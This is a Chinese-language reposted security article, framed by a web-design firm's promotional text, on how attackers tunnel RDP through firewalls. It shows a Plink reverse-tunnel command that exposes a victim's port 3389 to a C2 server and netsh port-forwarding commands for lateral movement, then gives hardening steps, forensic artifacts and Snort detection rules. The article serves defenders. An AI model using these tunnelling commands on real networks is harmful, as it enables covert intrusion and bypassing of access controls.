這期內(nèi)容當(dāng)中小編將會給大家?guī)碛嘘P(guān)怎么通過RDP隧道繞過網(wǎng)絡(luò)限制,文章內(nèi)容豐富且以專業(yè)的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。
成都創(chuàng)新互聯(lián)專業(yè)為企業(yè)提供黎城網(wǎng)站建設(shè)、黎城做網(wǎng)站、黎城網(wǎng)站設(shè)計、黎城網(wǎng)站制作等企業(yè)網(wǎng)站建設(shè)、網(wǎng)頁設(shè)計與制作、黎城企業(yè)網(wǎng)站模板建站服務(wù),10多年黎城做網(wǎng)站經(jīng)驗,不只是建網(wǎng)站,更提供有價值的思路和整體網(wǎng)絡(luò)服務(wù)。
遠(yuǎn)程桌面服務(wù)是Windows的一個組件,各種公司都使用它來為系統(tǒng)管理員,運維人員和遠(yuǎn)程員工提供便利。另一方面,遠(yuǎn)程桌面服務(wù),特別是遠(yuǎn)程桌面協(xié)議(RDP),也同樣為網(wǎng)絡(luò)攻擊者提供了便利。當(dāng)善于滲透的攻擊者在目標(biāo)網(wǎng)絡(luò)中建立了立足點并獲得充足的登錄憑據(jù)時,他們可能會從后門切換到直接使用RDP會話進行遠(yuǎn)程訪問。當(dāng)攻擊者通過合法流量進行遠(yuǎn)程訪問時,入侵變得越來越難以檢測。
與非圖形后門相比,攻擊者更喜歡RDP的穩(wěn)定性和功能性的優(yōu)勢,因為后門程序可能會在系統(tǒng)上留下不必要的痕跡。因此,F(xiàn)ireEye常常能捕獲到使用本機Windows RDP遠(yuǎn)程桌面程序的攻擊者在受限環(huán)境中跨系統(tǒng)進行的橫向連接行為。傳統(tǒng)意義上,受防火墻和NAT規(guī)則保護的非暴露公司網(wǎng)絡(luò)通常被認(rèn)為不容易受到入站RDP請求連接的影響。然而,攻擊者越來越多地開始使用網(wǎng)絡(luò)隧道和基于主機的端口轉(zhuǎn)發(fā)來破壞這些網(wǎng)絡(luò)訪問控制規(guī)則。
網(wǎng)絡(luò)隧道和端口轉(zhuǎn)發(fā)利用防火墻的“縫隙”(不受防火墻保護的端口,允許應(yīng)用程序訪問受防火墻保護的網(wǎng)絡(luò)中的主機服務(wù))與防火墻阻止的遠(yuǎn)程服務(wù)器建立連接。一旦通過防火墻建立了與遠(yuǎn)程服務(wù)器的連接,該連接就可以用作傳輸機制,通過防火墻發(fā)送接收數(shù)據(jù)或建立“隧道”,在本地偵聽服務(wù)(位于防火墻內(nèi)),使遠(yuǎn)程服務(wù)器可以訪問它們(位于防火墻外面),如圖1所示。
圖1:利用RDP和SSH隧道突破企業(yè)防火墻的實例
通常,用于建立RDP會話隧道的實用程序是PuTTY Link,通常稱為Plink。Plink可用于使用任意源和目標(biāo)端口與其他系統(tǒng)建立安全SSH網(wǎng)絡(luò)連接。由于許多網(wǎng)絡(luò)環(huán)境要么不嚴(yán)格執(zhí)行協(xié)議檢查,要么不阻止從其網(wǎng)絡(luò)出站的SSH通信,使得攻擊者可以通過Plink創(chuàng)建加密隧道,允許受感染系統(tǒng)上的RDP端口與攻擊者C2服務(wù)器進行通信。
Plink的常用命令:
plink.exe@ -pw -P 22 -2 -4 -T -N -C -R 12345:127.0.0.1:3389
圖2 使用Plink成功創(chuàng)建RDP隧道
圖3 攻擊者利用受害者與C2服務(wù)器建立的隧道實現(xiàn)RDP會話
應(yīng)該注意的是,對于能夠訪問目標(biāo)網(wǎng)絡(luò)RDP端口的攻擊者,他們必須已能夠通過其他的方式訪問或進入目標(biāo)網(wǎng)絡(luò),以便上傳程序建立通信隧道。例如,攻擊者可以從網(wǎng)絡(luò)釣魚電子郵件開始,通過惡意程序在目標(biāo)網(wǎng)絡(luò)中取得支點。在建立立足點后,逐步搜集相關(guān)憑據(jù)并提升權(quán)限。通過隧道建立RDP會話而進入受限網(wǎng)絡(luò)環(huán)境是攻擊者常用眾多訪問方法之一。
RDP不僅是外部訪問目標(biāo)網(wǎng)絡(luò)的完美工具,RDP會話還可以跨多個系統(tǒng)進行連接,以便在環(huán)境中橫向移動。 FireEye觀察到攻擊者曾使用本機Windows自帶的netsh網(wǎng)絡(luò)命令,創(chuàng)建RDP端口轉(zhuǎn)發(fā),并以此作為訪問另外受限網(wǎng)段的跳板。
netsh端口轉(zhuǎn)發(fā)命令:
netsh interface portproxy add v4tov4 listenport=8001 listenaddress=connectport=3389 connectaddress= netsh I p a v l=8001 listena= connectp=3389 c=
例如,攻擊者可以配置跳板并在任意端口上偵聽從先前網(wǎng)絡(luò)發(fā)送的流量。然后,流量將通過跳板直接轉(zhuǎn)發(fā)到其它網(wǎng)絡(luò)上的任何系統(tǒng),并使用指定端口,包括默認(rèn)RDP端口TCP 3389。這種類型的RDP端口轉(zhuǎn)發(fā)為攻擊者提供了一種利用跳板而實現(xiàn)路由的方法。并且通過修改注冊表,可以實現(xiàn)在RDP會話期間,不打斷正在使用跳板的合法管理員。
圖4 通過跳板向其它網(wǎng)段進行橫向移動
如果啟用了RDP,攻擊者就可以通過隧道或端口轉(zhuǎn)發(fā)實現(xiàn)橫向移動并保持在目標(biāo)網(wǎng)絡(luò)的存在。為了減緩攻擊行為和檢測這些類型的RDP攻擊,公司安全運維人員應(yīng)該關(guān)注基于主機和基于網(wǎng)絡(luò)的防護和檢測機制。
遠(yuǎn)程桌面服務(wù):在不需要遠(yuǎn)程連接的情況下,在所有終端用戶工作站和系統(tǒng)上禁用遠(yuǎn)程桌面服務(wù)。
基于主機的防火墻:啟用基于主機的防火墻規(guī)則,明確拒絕入站RDP連接。
本地帳戶:通過啟用“拒絕通過遠(yuǎn)程桌面服務(wù)登錄”的安全設(shè)置,防止在工作站上使用本地帳戶遠(yuǎn)程登錄。
注冊表項:
查看與Plink連接關(guān)聯(lián)的注冊表項,這些注冊表項可能存儲了用來識別特定的源和目的地址有關(guān)的信息。 默認(rèn)情況下,PuTTY和Plink都會在Windows系統(tǒng)上的以下注冊表項中存儲會話信息和曾今連接過的ssh服務(wù)器:
HKEY_CURRENT_USER\Software\SimonTatham\PuTTYHKEY_CURRENT_USER\SoftWare\SimonTatham\PuTTY\SshHostKeys
同樣的,以下的Windows注冊表項存儲了使用netsh創(chuàng)建PortProxy配置:
HKEY_CURRENT_USER\SYSTEM\CurrentControlSet\Services\PortProxy\v4tov4
收集和查看這些注冊表項可以識別合法和異常的SSH隧道活動。可能還需要進一步審查表項以確認(rèn)每項信息的具體用途。
事件日志:
查看完整的登錄事件的日志。常見的RDP登錄事件包含在Windows系統(tǒng)上的以下事件日志中:
%systemroot%\Windows\System32\winevt\Logs\Microsoft-TerminalServices-LocalSessionmanagerOperational.evtx%systemroot%\Windows\System32\winevt\Logs\Security.evtx
“TerminalServices-LocalSessionManager”日志包含有標(biāo)識為EID 21的本地或遠(yuǎn)程登錄成功事件,并且含有之前成功連接過的RDP會話,標(biāo)識為EID 25表示合法用戶成功注銷。“安全”日志包含有成功類型為10 ,標(biāo)識為EID 4624的遠(yuǎn)程交互式登錄(RDP)事件。記錄為本地主機IP地址(127.0.0.1 - 127.255.255.255)的源IP地址意味著攻擊者可能使用端口轉(zhuǎn)發(fā)程序建立隧道并登錄3389端口
檢查` plink.exe` 程序的執(zhí)行痕跡。請注意,攻擊者可以重命名程序名以避免檢測。相關(guān)痕跡包括但不限于:
Application Compatibility Cache/Shimcache 應(yīng)用程序兼容性緩存
Amcache Amcache.hve記錄執(zhí)應(yīng)用程序的執(zhí)行路徑、上次執(zhí)行時間、以及SHA1值
Jump Lists Windows 7-10用來任務(wù)欄顯示經(jīng)常使用或最近使用的項目
Prefetch 預(yù)讀取
Service Events 服務(wù)事件
CCM Recently Used Apps from the WMI repository WMI庫記錄的最近使用CCM的應(yīng)用程序
Registry keys 注冊表
遠(yuǎn)程連接:在需要RDP連接的情況下,強制從指定的主機或集中管理服務(wù)器啟動連接。
域帳戶:對特權(quán)帳戶(例如域管理員)和服務(wù)帳戶使用“拒絕通過遠(yuǎn)程桌面服務(wù)登錄”的安全設(shè)置,因為這些類型的帳戶通常會被攻擊者用于橫向移動到網(wǎng)絡(luò)中的敏感區(qū)域。
防火墻規(guī)則:查看現(xiàn)有防火墻規(guī)則以確定存在端口轉(zhuǎn)發(fā)漏洞的區(qū)域。除了預(yù)防使用端口轉(zhuǎn)發(fā)程序之外,還應(yīng)對環(huán)境中工作站之間的內(nèi)部通信進行監(jiān)控。通常,工作站不需要直接相互通信,并且可以使用防火墻規(guī)則來阻止任何此類通信,除非需要才放行。
網(wǎng)絡(luò)流量:執(zhí)行網(wǎng)絡(luò)流量的內(nèi)容和協(xié)議檢查。并非所有給定端口上通信的流量都是正常的流量或者是協(xié)議相符的流量。例如,攻擊者可以使用TCP端口80或443與遠(yuǎn)程服務(wù)器建立RDP隧道。深入檢查網(wǎng)絡(luò)流量可能會發(fā)現(xiàn)它實際上不是HTTP或HTTPS,而是完全不同的流量。因此,安全運維人員應(yīng)密切監(jiān)控其網(wǎng)絡(luò)流量。
Snort規(guī)則:當(dāng)RDP通信連接的一方為特定的一些低端口時,有可能意味著有RDP隧道建立。下面提供了兩個示例Snort規(guī)則,可以幫助安全團隊來識別其網(wǎng)絡(luò)流量中的RDP隧道。
snortalert tcp any [21,22,23,25,53,80,443,8080] -> any !3389 (msg:"RDP - HANDSHAKE [Tunneled msts]"; dsize:<65; content:"|03 00 00|"; depth:3; content:"|e0|"; distance:2; within:1; content:"Cookie: mstshash="; distance:5; within:17; sid:1; rev:1;)alert tcp any [21,22,23,25,53,80,443,8080] -> any !3389 (msg:"RDP - HANDSHAKE [Tunneled]"; flow:established; content:"|c0 00|Duca"; depth:250; content:"rdpdr"; content:"cliprdr"; sid:2; rev:1;)
RDP的出現(xiàn)為用戶提供了更大的自由和互操作性。但隨著越來越多的攻擊者使用RDP跨越有訪問限制的網(wǎng)絡(luò)并進行橫向移動,安全團隊正面臨著如何區(qū)分合法和惡意RDP流量的挑戰(zhàn)。因此,應(yīng)采取適當(dāng)?shù)幕谥鳈C和網(wǎng)絡(luò)的預(yù)防和檢測方法來主動監(jiān)控并能夠識別惡意RDP的使用情況。
上述就是小編為大家分享的怎么通過RDP隧道繞過網(wǎng)絡(luò)限制了,如果剛好有類似的疑惑,不妨參照上述分析進行理解。如果想知道更多相關(guān)知識,歡迎關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道。